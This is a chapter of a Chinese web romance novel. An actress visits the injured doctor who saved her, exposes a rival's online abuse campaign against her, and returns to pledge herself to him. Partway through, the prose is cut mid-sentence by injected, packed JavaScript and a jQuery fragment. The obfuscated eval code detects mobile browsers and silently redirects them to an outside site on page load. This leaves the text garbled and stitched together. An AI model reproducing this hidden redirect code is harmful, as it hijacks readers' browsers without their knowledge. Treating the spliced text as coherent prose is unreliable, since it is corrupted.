程烬深沉而平静地望着她。
她哭得很上脸，眉头鼻子眼睑都泛着粉。
“还不清就还不清吧。”他缓缓张口。
任恔妤沉浸在难过里，反射弧有点长，好几秒以后才反应过来他刚刚好像说了话，“你说什么？”
程烬凝视着她，眼帘垂下来，“没什么。”
任恔妤也没纠结，余光扫到搁在柜子上的文件，她才想起来还有正事，但没有把这些直接给他看，只是问他：“你答应方梨的事，是不是我不说你就永远不会告诉我？”
程烬淡着脸，眼睫抬起，视线落在她脸上。
只是看着，似乎没打算回应。
任恔妤蹙了下眉，“是我问的不清楚吗？”
她迎着他的视线，不避不躲。
那双眼漆黑如深潭般的眼嵌在眼窝里，眉骨立体凸出，高挺的直鼻，薄而有型的唇没什么血色。
只是安安静静躺着，也遮掩不住周身透出的矜冷气质。
无论长相身材都是万里挑一，个人能力又这么强，方梨会喜欢他一点都不让人意外。
任恔妤原本是要好好问问他的，然而看着看着就有点出神，甚至没意识到自己的眼神逐渐炽热。
直到低沉的嗓音重新拉回她的思绪，“这是我的事。”
任恔妤很轻地吸了口气。
她来得很匆忙，没有一点计划，但来的路上她想了很多，譬如他会不会怪她怨她，又譬如会不会告诉她，他与方梨的实情。
然而现在，她觉得自己来的时候想得太多了，他这样做决定只问自己的人并不会因为她问几句，就全盘托出。
有准备的。
明明潜意识有准备的。
可还是会被这样直白到赶人的话刺到。
“答应她是你的事，为救我不要命也是你的事，那我算什么？”
任恔妤问完就后悔了。
他做了这么多，没有一件是为了别人，哪怕从来没有告诉她，受益人也仍旧是她。况且他都这样了……
任恔妤心里很闷，是炽热夏天里那场雨来之前的闷。
闷得她哪里都难受。
气氛陷入沉静，两个人都没再说话。
任恔妤手搭在膝盖上，无意识地揪紧裤子布料，又松开。
短短几个呼吸，她却觉得像过了一个世纪那么漫长。
“对不起，我不是故意——”
“你想我说什么？”
程烬凝视着她，她睫毛很轻很快地眨动了好几下，有点纠结又有点难堪地说：“我没有一定要你说什么，我只是不想你这么随便的耽误自己……就…你想说什么都行，你们…其实你也不是…我还是觉得……”
任恔妤脑子乱得像毛线团，舌头也像打了结。
她不知道她到底要说什么了。
“算了。”
任恔妤拿过那份文件翻开给他看，“总之……她不是值得的人。”
程烬的目光从她脸上移到白纸黑字的文件上。
这上面逻辑清晰，只消一看就能明白怎么回事。
看到几番证据证明这场差点杀死任恔妤的网暴始作俑者是方梨的时候，程烬眼神滞了下，随即冷沉下来，有戾气在眼底涌动。
任恔妤看不见的地方，他右手指骨缓缓拧紧，指节泛白。
只是很快，那样汹涌的情绪就被压下去。
那张脸那双眼又恢复了正常，仿佛不曾看过这些。
程烬缓缓看向她，她眼睛很漂亮，眼尾微微上扬。这样的目光描摹他已经做了无数遍，在还没有意识到的时候，他就已经在岁月长河里一遍一遍地烙印。
“她不是，那谁是？”他声音低凉，“你吗？”
任恔妤唇瓣微开，一时说不出话来。
甚至。
她有点不敢看他的眼睛了。
任恔妤捏着文件一角，好几次想说话都不知道说点什么。
明明说的是方梨，怎么就说到她了。
他还在看她，眼神冷沉沉的，似乎她不给个回答就不会罢休。
任恔妤眼睫颤了颤。
“我…我……”
她感觉有点难堪，怎么也说不出一句完整的话来。
所以…
从前她那样对他，他都记得。
都记得。
“怎么不说了？”
程烬声音低了几分。
面对他的时候，她很少觉得有压迫感。
但现在…
明明只是一句问话而已，她又有种想逃的感觉了。
每次遇到很难解决的问题，她就会想逃。
“我知道——”
任恔妤咬了咬唇，“那段感情里，是我对不起你，招惹你又抛下你，但这不是你选她的理由。我没有想要干涉你选谁，我只是觉得你别这么匆忙，别带有利益性目的的去选择谁，我还是希望你开心。”
程烬看着她，像是没听到一般。
只是安安静静，定定地望着。
“就……如果哪天你真的选择一个喜欢的女生结婚，我也会祝福你的，由衷祝福。”
她想，她这样应该算说得比较清楚了？
那道一直落在她脸上的视线，终于缓缓…缓缓地移走。落在一片虚无缥缈里，也没个聚焦点。
有嘲弄很轻很快地从他眼底划走，像一阵烟似的，看不见了。
任恔妤不知道他怎么了，但似乎…她隐隐感觉到一点很沉很涩的情绪。
程烬没有回应她这一堆话，病房里又陷入了安静，一种像一张密不透风的、笼罩下来的网般窒塞的气氛，让人很难挣脱。
良久。
还是她先出声，打破了诡异的静谧。
“程烬……？”
程烬缓缓闭上眼，身侧的指骨绷紧，青筋根根凸起。
他很低很低地说：“我累了。”
任恔妤视线落在他垂直浓密的睫毛上，张了张嘴，喉咙像哑了一样说不出话。她把那份文件收了起来，很慢地站了起来。
愧疚、懊悔、不甘。
凌乱地糅杂在一起，堵在她的胸口里。
她真的很糟糕，又把事情弄成这样，又让他不开心了。
最后看了他一眼，任恔妤慢慢地走向门口。
今天借着这份文件，她才有了点勇气有了点不过脑子的冲劲过来，但这一次离开，她应该就没有什么理由再来了吧。
门关上的那一刻，病床上的人睁开了眼。
眼瞳很黑很黑，像是要吞噬一切。
病房里极度安静，安静到他能听见自己的呼吸。
呼吸很涩很涩。
那只绷紧的右手越来越紧，越来越紧。
像是要攥破皮肉，直达骨血。
那些压抑着、汹涌的、不该被人察觉的黑暗情绪在这个瞬间，在这个场景里像弥漫开的污染，很迅速地淹着他。
淹到他窒息。
过了很久，他费力地咳起来，浑身骨头随着震颤在痛。
但比不上心脏里撕扯着的痛。
不及它万分之一。
她已经在动摇了不是吗？
你从来没有忘记过她，为什么…为什么就不能再耐心一点。
难道还想……她再从你的世界里抽骨吸髓地消失一次吗？
你等了她这么久，这么久……
程烬艰难地咽了咽嗓子，浑身紧绷得像一张拉到极致的弓。
再用力一点，就能支离破碎。
喉咙里有血腥气漫上来。
*
任恔妤失神地走到医院门口的时候，回头望了一眼。
炽亮的大厅里来来往往的人在走着流程看病，四方的墙壁冰冷。其实看不见他，她只是有种这可能是最后一面的悲伤感。
如果他愿意挽留她一下……
可哪有如果。
他分明都不愿意看到她了。
“任小姐准备走啊？”
身后忽然传来懒散的声音，引得她回头。
是在病房门口撞见的那位医生。
陆昀铮走到她旁边停下，双手插在白大褂口袋里，难得正经，“你们……相处得不好？”
任恔妤摇摇头，摇到一半又僵住，沉默下来。
陆昀铮看向远处医院大门，外面是来往汇聚的车流，他扯了扯嘴角，“我猜老程应该什么都没跟你说。”
任恔妤不解地看他。
他笑着道：“老程在重症监护室醒来的时候，第一句话就是问了你怎么样？我说你还能怎么样，安全着呢，比他好太多了，至少没差点死掉。”
任恔妤心脏忽然紧了下，呼吸有点湿。
陆昀铮好像回到了那一天，那个第一次看到程烬那么虚弱的那天。
毫无血色的脸，身上插了那么多管子，吊着这口气。
和程烬对望的那个瞬间，他沉默着说不出话。
“老程知道你没事，就又昏迷过去。他命大，没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223352|181621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤到心脏，后来出了重症监护室，院里熟悉的、不熟悉的，都来看望他，他始终平淡地应对，没有一点情绪。”陆昀铮看向她，笑得有些苦，“我好几次来看他的时候，都发现他在看着病房门，像是在等一个人，等一个一直没来的人。”
任恔妤眼睫颤了下。
他在等的时候，她在做什么？
用工作把自己塞得很满很满，恨不得一天工作二十五小时，这样就没时间去想不能想的东西。
“我问他是不是在等你，他也不说话。”陆昀铮叹了口气，有无奈有苦涩，“老程一直有个没忘掉的白月光，在你拍戏受伤来医院之前，我还不知道是你。好几次打趣他，到底是什么人间妖精把他折磨成这样——
对世俗没有一点欲望，随时可以湮灭的模样。”
任恔妤低垂的眼很酸很胀。
她感觉自己被撕碎了一样的痛。
“任小姐，如果可以，多看看他吧，老程他……需要你的。”
陆昀铮语重心长地叮嘱完，游戏人间一般地走了，留她一个人在原地无措。
手机忽然响起，于涵打来了电话。
打断了她的思绪。
“你怎么又不声不响地跑了？上次不是说了以后去哪要跟我报备吗？要不是贺总转达消息，我都要去报警了！”
于涵又急又气，“你赶紧回来，我给你接了个综艺，明天——”
“对不起涵姐。”
任恔妤声音有点哑，“帮我推了吧，我想休息一段时间，等我休息完你想怎么处置我都行。”
说完挂了电话，迫切地往回跑。
短短一段路，她感觉像过了一个世纪那么长。
气喘吁吁赶到病房门口时，任恔妤心脏剧烈跳动，喉咙干涩得厉害。
等了两秒，她推门进去。
看到原本应该躺着的人正极度费力地从床上起来，眉眼间露出压不住的痛苦。
任恔妤吓了一跳，极速跑过去扶着他，“你干嘛自己起来，有事叫护士啊，你这样伤口要是再出血了怎么办！”
她是真的担心，担心到眼睛都红了。
手臂被她扶着，有属于她的温度传来。
程烬紧绷着身体，视线很缓慢地从她白皙的手一路往上。看到她因为急促呼吸微张的嘴，泛红的眼，还有额角渗出的汗。
最后，视线定格在她眼睛里。
他没有出声，眉眼间有很快的情绪闪过。
什么都没问，却好像什么都问了。
任恔妤眼睫颤了颤，还是没有收回手。她有点尴尬，有点窘迫，但还是逼着自己迎着他的视线，让自己好好看着他，看着这个等了她很久的人。
“你是因为我受的伤，我不走了，我要对你负责的。”
跑过来这段路她想了想。
陆昀铮说的如果是真的，那她就是个超级大混蛋，哪有这么对待救命恩人的，况且他还不止是救命恩人这么简单。
程烬支着力道坐着，嘴里很淡地念叨着“负责”二字。
他没有说别的，但任恔妤就是感觉他似乎、好像、可能没有完全理解她的话。
她抿了抿唇，像是下了很大决心。
“我说的负责不只是现在。”
“也许你怨恨我从前丢下你，后来又任性地纠缠你，那是因为…我其实也不清楚自己到底想要什么，但是听到你那天在科室里没有立即驳回方梨的话，我觉得我大概有一点清楚了。”
任恔妤说着，感觉脑子也清晰了点，“我很难接受你真的喜欢上别人，和别人结婚这件事，我知道我很烂，也很过分，可我现在还是想过分一次。”
“我想负责的除了现在，还有你的以后。”
一口气说了这么多，她感觉气息有点不稳。
大概是因为她还是无法确定，他是不是还愿意接受她，这跟放不下她是两码事。
程烬漆黑的瞳孔有了一丝亮光，虽然很浅，却也足够照亮那一寸黑暗之地。
他沉默了许久，凝视着她问：“以什么名义？”
“就……”任恔妤轻轻吸了口气，“如果你愿意的话，也可以是最亲密的那种。”
她声音很轻，心脏在忐忑中有点不安，努力维持着表面的平静。
时间一分一秒过去，他始终没开口。
既不说答应也不反驳。
就在任恔妤觉得，她可能还是过于自信的时候，终于听到了他的声音，低低的富有磁性，“好。”